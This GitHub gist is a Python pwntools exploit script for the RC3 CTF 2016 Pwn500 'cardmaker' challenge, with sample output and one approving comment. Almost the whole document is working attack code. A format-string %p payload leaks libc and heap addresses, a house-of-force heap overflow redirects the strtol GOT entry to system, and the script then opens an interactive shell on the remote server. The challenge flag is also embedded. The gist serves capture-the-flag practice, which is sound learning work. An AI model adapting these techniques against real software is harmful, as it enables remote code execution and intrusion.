Skip to content

Instantly share code, notes, and snippets.

@Inndy
Created November 21, 2016 07:46
Show Gist options
  • Save Inndy/1a3b312b0388447d3dee14371236abd1 to your computer and use it in GitHub Desktop.
Save Inndy/1a3b312b0388447d3dee14371236abd1 to your computer and use it in GitHub Desktop.
Exploit for RC3 CTF 2016 Pwn500
from pwn import *
# RC3-2016-YOUZAH-REEL-JEDI-MASTA-NAU-LEWK
try:
import requests
dst_ip = requests.get('http://ipinfo.io').json()['ip']
except:
dst_ip = '127.0.0.1'
print 'IP = %s' % dst_ip
binary = ELF('cardmaker')
libc_binary = ELF('libc-2.23.so')
def menu(x):
"""
1. New greeting card
2. List greeting cards to be sent
3. Change the contents of a card
4. Delete a greeting card in the queue
5. Send all greeting cards in the queue
6. Quit
"""
io.recvuntil('Choice: ')
io.sendline(str(x))
def add(size, content, border='#', dst_port=5566):
menu(1)
io.recvuntil('from?')
io.sendline('a')
io.recvuntil('to?')
io.sendline('b')
io.recvuntil('to?')
io.sendline('%s:%s' % (dst_ip, dst_port))
io.recvuntil('card?')
io.sendline(border)
io.recvuntil('How long is your message...?')
s = str(size)
if size < 0: # strtol will skip non-numeric characters
s = ' ' + s
io.sendline(s)
io.recvuntil('end with ')
if content:
io.sendline(content)
io.sendline('done.')
sock = listen()
io = remote('cardmaker.ctf.rc3.club', 9887)
add(15, 'zz', '%p', dst_port=sock.lport)
menu(5) # send card, leak heap and libc addresses
l = sock.wait_for_connection()
libc, heap = l.recvall().split('\n')[-2].split('0x')[4:6]
libc, heap = int(libc, 16), int(heap, 16)
print 'leaked libc addr = 0x%.12x' % libc
print 'leaked heap addr = 0x%.8x' % heap
libc += 0x00007fec75823000 - 0x7fec75be8780
heap += 0x01fc8000 - 0x1fc9050
print 'libc base = 0x%.12x' % libc
print 'heap base = 0x%.8x' % heap
new_heap = heap + 0x0221f090 - 0x0221e000
ptr_top = new_heap + 24
print 'last chunk will be allocated at 0x%.8x' % new_heap
# ref 1: http://www.slideshare.net/AngelBoy1/heap-exploitation-51891400
# ref 2: https://github.com/shellphish/how2heap/blob/master/house_of_force.c
evil_size = binary.got['strtol'] - 16 - ptr_top
print 'evail_size = %x' % evil_size
# overwrite chunk header on top chunk
add(-1, 'A'*24 + '\xff' * 8) # this add actually malloc(24)
add(evil_size - 25, '') # jump to desired address
add(100, p64(libc + libc_binary.symbols['system'])) # GOT hijack
menu('sh') # strtol.GOT hijacked to system
io.interactive()
"""
leaked libc addr = 0x7f615f97b780
leaked heap addr = 0x0221f050
libc base = 0x7f615f5b6000
heap base = 0x0221e000
[0x4017be] malloc(40) = 0x221f020
[0x400daf] malloc(42) = 0x221f050
[0x401208] free(0x221f050) = <void>
[0x4017be] malloc(24) = 0x221f090
"""
@wumb0
Copy link

wumb0 commented Nov 22, 2016

much cleaner than my solution but same technique. Nice work :)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment